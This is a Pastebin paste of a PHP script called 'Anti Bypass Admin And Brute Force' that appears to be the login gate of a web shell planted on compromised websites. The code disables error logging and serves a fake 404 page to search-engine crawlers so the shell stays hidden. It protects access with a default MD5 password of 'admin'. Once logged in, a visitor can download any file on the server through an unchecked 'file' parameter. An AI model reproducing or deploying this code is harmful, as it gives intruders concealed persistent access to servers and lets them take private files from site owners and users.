extazygans

Anti Bypass Admin And Brute Force

May 29th, 2019
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.74 KB | None | 0 0
  1. <?php
  2. // Anti Bypass Admin And Bruteforce
  3. // Coded by Extazy
  4. // Contact Me : [email protected]
  5. session_start();
  6. error_reporting(0);
  7. set_time_limit(0);
  8. @set_magic_quotes_runtime(0);
  9. @clearstatcache();
  10. @ini_set('error_log',NULL);
  11. @ini_set('log_errors',0);
  12. @ini_set('max_execution_time',0);
  13. @ini_set('output_buffering',0);
  14. @ini_set('display_errors', 0);
  15.  
  16. $auth_pass = "21232f297a57a5a743894a0e4a801fc3"; // Password default: admin <-- segera ganti hash nya dengan password anda
  17. $color = "#00ff00";
  18. $default_action = 'FilesMan';
  19. $default_use_ajax = true;
  20. $default_charset = 'UTF-8';
  21. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  22.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  23.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  24.         header('HTTP/1.0 404 Not Found');
  25.         exit;
  26.     }
  27. }
  28.  
  29. function login_shell() {
  30. ?>
  31. <html>
  32. <head>
  33. <title>Anti Bypass Admin</title>
  34. <style type="text/css">
  35. html {
  36.     margin: 20px auto;
  37.     background: #FFFFFF;
  38.     color: green;
  39.     text-align: center;
  40. }
  41. header {
  42.     color: red;
  43.     margin: 10px auto;
  44. }
  45. input[type=password] {
  46.     width: 250px;
  47.     height: 25px;
  48.     color: red;
  49.     background: #000000;
  50.     border: 1px dotted red;
  51.     padding: 5px;
  52.     margin-left: 20px;
  53.     text-align: center;
  54. }
  55. </style>
  56. </head>
  57. <center>
  58. <img src=https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQx5W8oKHsHA3RUMOS7p9t3aid4pfXU68YzDK1cjhkBcjtlgZCY height=300 width=210><br>
  59. <br><b><font face="arial" color="black" size="3">Anti Bypass Admin And Bruteforce</font><br><br>
  60. <form method="post">
  61. <input type="password" name="pass">
  62. </form>
  63. <b><font face="arial" color="black" size="3">Coded by Extazy</font>
  64.  
  65. <?php
  66. exit;
  67. }
  68. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  69.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  70.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  71.     else
  72.         login_shell();
  73. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  74.     @ob_clean();
  75.     $file = $_GET['file'];
  76.     header('Content-Description: File Transfer');
  77.     header('Content-Type: application/octet-stream');
  78.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  79.     header('Expires: 0');
  80.     header('Cache-Control: must-revalidate');
  81.     header('Pragma: public');
  82.     header('Content-Length: ' . filesize($file));
  83.     readfile($file);
  84.     exit;
  85. }
  86. ?>
  87.  
  88. <?php
  89. echo "<a href='?logout=true'>Click Here For Go Back To Previous Page</a>";
  90. if($_GET['logout'] == true) {
  91.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  92.     echo "<script>window.location='?';</script>";
  93. }
  94. ?>
Advertisement
Add Comment
Please, Sign In to add comment